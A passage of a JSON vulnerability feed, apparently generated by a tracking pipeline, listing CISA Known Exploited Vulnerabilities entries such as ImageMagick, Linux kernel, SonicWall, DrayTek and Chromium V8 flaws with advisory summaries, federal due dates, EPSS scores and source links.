federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-38226&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-38226, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-3714","cveId":"CVE-2016-3714","aliases":[],"kind":"vulnerability","title":"ImageMagick Improper Input Validation Vulnerability","summary":"ImageMagick contains an improper input validation vulnerability that affects the EPHEMERAL, HTTPS, MVG, MSL, TEXT, SHOW, WIN, and PLT coders. This allows a remote attacker to execute arbitrary code via shell metacharacters in a crafted image.","detail":"CISA added this entry on 2024-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-09","updatedAt":null,"regions":["Global"],"vendor":"ImageMagick","product":"ImageMagick","stacks":["ImageMagick"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-09","dueAt":"2024-09-30","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97485,"percentile":0.99899,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-3714&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-3714","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-3714 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-3714&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-3714, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-1000253","cveId":"CVE-2017-1000253","aliases":[],"kind":"vulnerability","title":"Linux Kernel PIE Stack Buffer Corruption Vulnerability","summary":"Linux kernel contains a position-independent executable (PIE) stack buffer corruption vulnerability in load_elf_ binary() that allows a local attacker to escalate privileges.","detail":"CISA added this entry on 2024-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-09","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-09","dueAt":"2024-09-30","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10695,"percentile":0.95781,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-1000253&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-1000253","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-1000253 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-1000253&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-1000253, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-40766","cveId":"CVE-2024-40766","aliases":[],"kind":"vulnerability","title":"SonicWall SonicOS Improper Access Control Vulnerability","summary":"SonicWall SonicOS contains an improper access control vulnerability that could lead to unauthorized resource access and, under certain conditions, may cause the firewall to crash.","detail":"CISA added this entry on 2024-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-09","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SonicOS","stacks":["SonicWall","SonicOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-09","dueAt":"2024-09-30","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.18379,"percentile":0.97207,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-40766&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-40766","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-40766 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-40766&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-40766, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-20123","cveId":"CVE-2021-20123","aliases":[],"kind":"vulnerability","title":"Draytek VigorConnect Path Traversal Vulnerability","summary":"Draytek VigorConnect contains a path traversal vulnerability in the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.","detail":"CISA added this entry on 2024-09-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-03","updatedAt":null,"regions":["Global"],"vendor":"DrayTek","product":"VigorConnect","stacks":["DrayTek","VigorConnect"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-03","dueAt":"2024-09-24","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.89654,"percentile":0.99785,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-20123&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-20123","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-20123 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-20123&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-20123, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-20124","cveId":"CVE-2021-20124","aliases":[],"kind":"vulnerability","title":"Draytek VigorConnect Path Traversal Vulnerability","summary":"Draytek VigorConnect contains a path traversal vulnerability in the file download functionality of the WebServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.","detail":"CISA added this entry on 2024-09-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-03","updatedAt":null,"regions":["Global"],"vendor":"DrayTek","product":"VigorConnect","stacks":["DrayTek","VigorConnect"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-03","dueAt":"2024-09-24","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95917,"percentile":0.99873,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-20124&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-20124","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-20124 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-20124&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-20124, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-7262","cveId":"CVE-2024-7262","aliases":[],"kind":"vulnerability","title":"Kingsoft WPS Office Path Traversal Vulnerability","summary":"Kingsoft WPS Office contains a path traversal vulnerability in promecefpluginhost.exe on Windows that allows an attacker to load an arbitrary Windows library.","detail":"CISA added this entry on 2024-09-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-03","updatedAt":null,"regions":["Global"],"vendor":"Kingsoft","product":"WPS Office","stacks":["Kingsoft","WPS Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-03","dueAt":"2024-09-24","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03058,"percentile":0.875,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-7262&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-7262","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-7262 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-7262&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-7262, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-7965","cveId":"CVE-2024-7965","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Inappropriate Implementation Vulnerability","summary":"Google Chromium V8 contains an inappropriate implementation vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2024-08-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-28","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-28","dueAt":"2024-09-18","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.18528,"percentile":0.97229,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-7965&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-7965","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-7965 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-7965&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-7965, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-38856","cveId":"CVE-2024-38856","aliases":[],"kind":"vulnerability","title":"Apache OFBiz Incorrect Authorization Vulnerability","summary":"Apache OFBiz contains an incorrect authorization vulnerability that could allow remote code execution via a Groovy payload in the context of the OFBiz user process by an unauthenticated attacker.","detail":"CISA added this entry on 2024-08-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-27","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"OFBiz","stacks":["Apache","OFBiz"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-27","dueAt":"2024-09-17","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99427,"percentile":0.99941,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-38856&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-38856","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-38856 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-38856&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-38856, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-7971","cveId":"CVE-2024-7971","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 contains a type confusion vulnerability that allows a remote attacker to exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2024-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-26","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-26","dueAt":"2024-09-16","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.21009,"percentile":0.9755,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-7971&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-7971","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-26","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-7971 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-7971&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-7971, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-39717","cveId":"CVE-2024-39717","aliases":[],"kind":"vulnerability","title":"Versa Director Dangerous File Type Upload Vulnerability","summary":"The Versa Director GUI contains an unrestricted upload of file with dangerous type vulnerability that allows administrators with Provider-Data-Center-Admin or Provider-Data-Center-System-Admin privileges to customize the user interface. The “Change Favicon” (Favorite Icon) enables the upload of a .png file, which can be exploited to upload a malicious file with a .png extension disguised as an image.","detail":"CISA added this entry on 2024-08-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-23","updatedAt":null,"regions":["Global"],"vendor":"Versa","product":"Director","stacks":["Versa","Director"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-23","dueAt":"2024-09-13","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03987,"percentile":0.90428,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-39717&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-39717","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-39717 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-39717&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-39717, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-31196","cveId":"CVE-2021-31196","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Information Disclosure Vulnerability","summary":"Microsoft Exchange Server contains an information disclosure vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2024-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-21","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange Server","stacks":["Microsoft Exchange","Microsoft","Exchange Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-21","dueAt":"2024-09-11","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.54056,"percentile":0.98997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-31196&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-31196","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-31196 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-31196&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-31196, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-33044","cveId":"CVE-2021-33044","aliases":[],"kind":"vulnerability","title":"Dahua IP Camera Authentication Bypass Vulnerability","summary":"Dahua IP cameras and related products contain an authentication bypass vulnerability when the NetKeyboard type argument is specified by the client during authentication.","detail":"CISA added this entry on 2024-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-21","updatedAt":null,"regions":["Global"],"vendor":"Dahua","product":"IP Camera Firmware","stacks":["Dahua","IP Camera Firmware"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-21","dueAt":"2024-09-11","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99989,"percentile":0.99985,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-33044&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-33044","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-33044 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-33044&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-33044, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-33045","cveId":"CVE-2021-33045","aliases":[],"kind":"vulnerability","title":"Dahua IP Camera Authentication Bypass Vulnerability","summary":"Dahua IP cameras and related products contain an authentication bypass vulnerability when the loopback device is specified by the client during authentication.","detail":"CISA added this entry on 2024-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-21","updatedAt":null,"regions":["Global"],"vendor":"Dahua","product":"IP Camera Firmware","stacks":["Dahua","IP Camera Firmware"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-21","dueAt":"2024-09-11","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99593,"percentile":0.99947,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-33045&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-33045","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-33045 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-33045&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-33045, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-0185","cveId":"CVE-2022-0185","aliases":[],"kind":"vulnerability","title":"Linux Kernel Heap-Based Buffer Overflow Vulnerability","summary":"Linux kernel contains a heap-based buffer overflow vulnerability in the legacy_parse_param function in the Filesystem Context functionality. This allows an attacker to open a filesystem that does not support the Filesystem Context API and ultimately escalate privileges.","detail":"CISA added this entry on 2024-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","publishedAt":"2024-08-21","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-21","dueAt":"2024-09-11","action":"Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.25151,"percentile":0.97917,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-0185&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-0185","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-0185 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS 